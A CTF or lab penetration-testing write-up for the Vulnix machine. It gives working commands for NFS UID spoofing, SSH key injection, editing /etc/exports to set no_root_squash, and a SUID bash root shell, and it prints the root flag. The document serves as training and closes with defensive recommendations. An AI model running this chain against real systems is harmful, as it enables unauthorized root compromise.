Vulnix — Penetration Testing Report

1. Target Information

Target: Vulnix
IP Address: 192.168.1.132
Attacker Machine: Kali Linux
Assessment Type: CTF / Authorized Penetration Testing Lab

---

2. Executive Summary

During the assessment of the Vulnix machine, I identified several exposed services including SSH, SMTP, Finger, NFS, RPC, IMAP, POP3, and legacy R-services.

The main attack path started with **NFS enumeration**, where /home/vulnix was exposed. By matching the target user's UID, I was able to obtain write access to the NFS share and establish SSH access through an authorized_keys file.

After gaining access as the vulnix user, I enumerated local privileges and discovered a dangerous sudoedit permission allowing modification of /etc/exports as root.

I modified the NFS configuration to disable root_squash, which allowed root privileges from the NFS client to be preserved on the server. I then created a SUID Bash binary through the NFS share and executed it to obtain an effective root shell.

---

3. Reconnaissance

A full Nmap scan was performed against the target:

sudo nmap -sC -sV -p- 192.168.1.132

Important discovered services included:

Port	Service	Finding
22	SSH	OpenSSH 5.9p1
25	SMTP	Postfix
79	Finger	User enumeration
110	POP3	Dovecot

Port	Service	Finding
111	RPCbind	RPC services exposed
143	IMAP	Dovecot
513	rlogin	Legacy remote login
514	rsh/tcpwrapped	Legacy service
2049	NFS	NFS share exposed

---

4. NFS Enumeration

I enumerated the available NFS exports:

showmount -e 192.168.1.132

The target exposed:

/home/vulnix *

I mounted the share:

sudo mount -t nfs -o vers=3 192.168.1.132:/home/vulnix /mnt/vulnix

The directory was owned by UID 2008.

I created a local user matching the target UID:

sudo useradd -u 2008 nfsuser

This allowed me to access the NFS share with the same UID.

---

5. Initial Access — SSH

I generated an SSH key pair:

ssh-keygen -t rsa -b 2048 -f /tmp/vulnix_key -N ""

Then created the SSH configuration through the writable NFS share:

mkdir -p /mnt/vulnix/.ssh

cp /tmp/vulnix_key.pub /mnt/vulnix/.ssh/authorized_keys

chmod 700 /mnt/vulnix/.ssh

chmod 600 /mnt/vulnix/.ssh/authorized_keys

I connected to the target using:

ssh -o PubkeyAcceptedAlgorithms=+ssh-rsa \

-o HostkeyAlgorithms=+ssh-rsa \

-i /tmp/vulnix_key vulnix@192.168.1.132

This provided an interactive shell as:

vulnix

---

6. Local Enumeration

After gaining access, I checked the available sudo privileges:

sudo -l

The important result was:

User vulnix may run the following commands on this host:

(root) sudoedit /etc/exports

(root) NOPASSWD: sudoedit /etc/exports

This was the critical privilege escalation point because /etc/exports controls the NFS export configuration.

---

7. Privilege Escalation — NFS No Root Squash

The original NFS configuration contained:

/home/vulnix *(rw,root_squash)

I modified it to:

/home/vulnix *(rw,no_root_squash)

I then verified the active export configuration:

cat /var/lib/nfs/etab

The active configuration contained:

/home/vulnix *(rw,sync,wdelay,hide,nocrossmnt,secure,no_root_squash,...)

The important change was:

no_root_squash

---

8. Verification of Root Privilege Preservation

From Kali, I mounted the modified NFS export:

sudo mount -t nfs -o vers=3 192.168.1.132:/home/vulnix /mnt/vulnix

I created a test file:

sudo touch /mnt/vulnix/root_test

sudo ls -ln /mnt/vulnix/root_test

The result was:

-rw-r--r-- 1 0 0 0 root_test

UID/GID 0 0 confirmed that root ownership was preserved across NFS.

---

9. SUID Bash

I created a Bash copy using the target's native /bin/bash:

cp /bin/bash /home/vulnix/rootbash

From the NFS client, the file was configured with SUID permissions.

Afterward, from the vulnix shell:

/home/vulnix/rootbash -p

This provided a privileged Bash shell.

---

10. Root Confirmation

I verified the privilege escalation:

id

Output:

uid=2008(vulnix) gid=2008(vulnix) euid=0(root)

groups=0(root),2008(vulnix)

And:

whoami

Returned:

root

This confirmed successful privilege escalation to effective root.

---

11. Root Flag

The root directory was accessed with:

cat /root/* 2>/dev/null

Root flag:

cc614640424f5bd60ce5d5264899c3be

---

12. Attack Chain

Nmap

↓

NFS Enumeration

↓

/home/vulnix exposed

↓

UID 2008 Matching

↓

NFS Write Access

↓

SSH authorized_keys

↓

SSH Access as vulnix

↓

sudo -l

↓

sudoedit /etc/exports

↓

root_squash → no_root_squash

↓

NFS Root Privilege Preservation

↓

SUID Bash

↓

Effective UID 0

↓

ROOT

---

13. Key Vulnerabilities

13.1 Exposed NFS Share

/home/vulnix was exported over NFS with broad client access:

/home/vulnix *

This enabled unauthorized access to the user's home directory when the appropriate UID was used.

13.2 Dangerous sudoedit Permission

The user was allowed to execute:

sudoedit /etc/exports

as root without authentication.

Because /etc/exports controls NFS security settings, this permission effectively allowed modification of the privilege boundary.

13.3 no_root_squash

Disabling root_squash allowed root privileges from the NFS client to be preserved on the server.

This made it possible to create a root-owned SUID executable inside the exported directory.

---

14. Recommendations

- Restrict NFS exports to trusted hosts instead of using *.
- Avoid exporting sensitive home directories unnecessarily.
- Keep root_squash enabled.
- Do not grant users sudoedit access to /etc/exports.
- Apply the principle of least privilege to sudo rules.
- Disable legacy services such as rlogin and rsh when not required.
- Upgrade outdated operating system and network services.
- Monitor modifications to /etc/exports.
- Restrict NFS access using network segmentation and firewall rules.

---

15. Conclusion

The Vulnix machine was compromised through a chained attack involving **NFS misconfiguration, writable user storage, SSH key injection, excessive sudo privileges, and insecure NFS no_root_squash configuration**.

The final impact was complete compromise of the machine with an effective root shell.

Final Status: Root Access Obtained

Root Flag:

cc614640424f5bd60ce5d5264899c3be